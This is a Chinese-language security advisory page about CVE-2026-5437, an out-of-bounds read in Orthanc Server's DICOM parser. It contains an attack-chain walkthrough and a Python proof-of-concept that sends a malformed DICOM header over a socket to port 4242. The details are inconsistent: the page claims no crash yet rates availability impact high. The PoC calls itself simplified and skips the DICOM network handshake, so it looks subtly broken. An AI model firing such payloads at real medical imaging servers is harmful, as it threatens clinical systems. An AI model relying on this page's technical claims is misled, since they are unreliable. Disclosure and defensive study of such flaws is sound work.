IPBUF安全漏洞报告
English
CVE-2026-5437 CVSS 7.5 高危

CVE-2026-5437 DicomStreamReader越界读取漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-5437
漏洞类型
越界读取
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Orthanc Server

相关标签

越界读取OrthancDICOM拒绝服务高危漏洞

漏洞概述

Orthanc Server中的DicomStreamReader组件在解析DICOM元头时存在越界读取漏洞。攻击者可通过发送特制的畸形元数据结构,利用解析逻辑中输入验证不足的缺陷,诱导服务器读取分配缓冲区边界之外的数据。尽管该问题通常不会导致服务器崩溃或直接泄露敏感信息,但反映了潜在的安全隐患。

技术细节

该漏洞核心在于DicomStreamReader处理DICOM文件元头时的逻辑缺陷。DICOM标准文件包含128字节的前导码和4字节的'DICM'前缀,随后是元信息组。攻击者可以精心构造恶意DICOM数据包,通过篡改元头长度字段或破坏结构完整性来绕过基础检查。当Orthanc Server通过网络接收到此数据并调用DicomStreamReader进行解析时,由于缺乏对输入长度的严格校验,读取指针可能会越过预设的缓冲区边界。根据CVSS 3.1向量,该漏洞无需认证且无用户交互即可通过网络利用(AV:N/AC:L/PR:N/UI:N),主要影响系统的可用性(A:H),可能导致服务处理异常或拒绝响应。

攻击链分析

STEP 1
侦察
攻击者扫描网络寻找开放的DICOM服务端口(通常是TCP 4242),识别目标是否为Orthanc Server。
STEP 2
武器化
攻击者构造特制的DICOM文件数据包,其中包含畸形的元头结构,旨在破坏DicomStreamReader的缓冲区读取逻辑。
STEP 3
投递
通过网络将恶意DICOM数据包发送给目标Orthanc服务器的监听端口。
STEP 4
利用
目标服务器在解析接收到的数据时,DicomStreamReader读取超出分配缓冲区边界的数据。
STEP 5
影响
虽然通常不导致崩溃,但可能引发服务异常或敏感内存信息的微小泄露风险。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Proof of Concept for CVE-2026-5437 # Attempts to trigger out-of-bounds read in DicomStreamReader # Target: Orthanc Server (Default Port 4242) def generate_malformed_dicom(): # Standard DICOM preamble is 128 null bytes + 'DICM' # We modify the structure to potentially confuse the parser preamble = b'\x00' * 128 prefix = b'DICM' # Malformed meta header length or group length to trigger OOB read # This is a simplified example; actual exploitation requires specific layout malformed_meta = b'\x02\x00\x00\x00' + b'\xFF\xFF\xFF\xFF' return preamble + prefix + malformed_meta def send_exploit(host, port): payload = generate_malformed_dicom() try: print(f"[*] Sending payload to {host}:{port}") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.sendall(payload) s.close() print("[+] Payload sent successfully.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_host = "127.0.0.1" target_port = 4242 send_exploit(target_host, target_port)

影响范围

Orthanc Server (具体受影响版本请参考官方安全公告)

防御指南

临时缓解措施
如果无法立即升级,建议暂时关闭Orthanc Server对外部的DICOM C-STORE服务接收功能,或仅允许来自内部受信任网络的医疗设备连接,以降低被外部攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表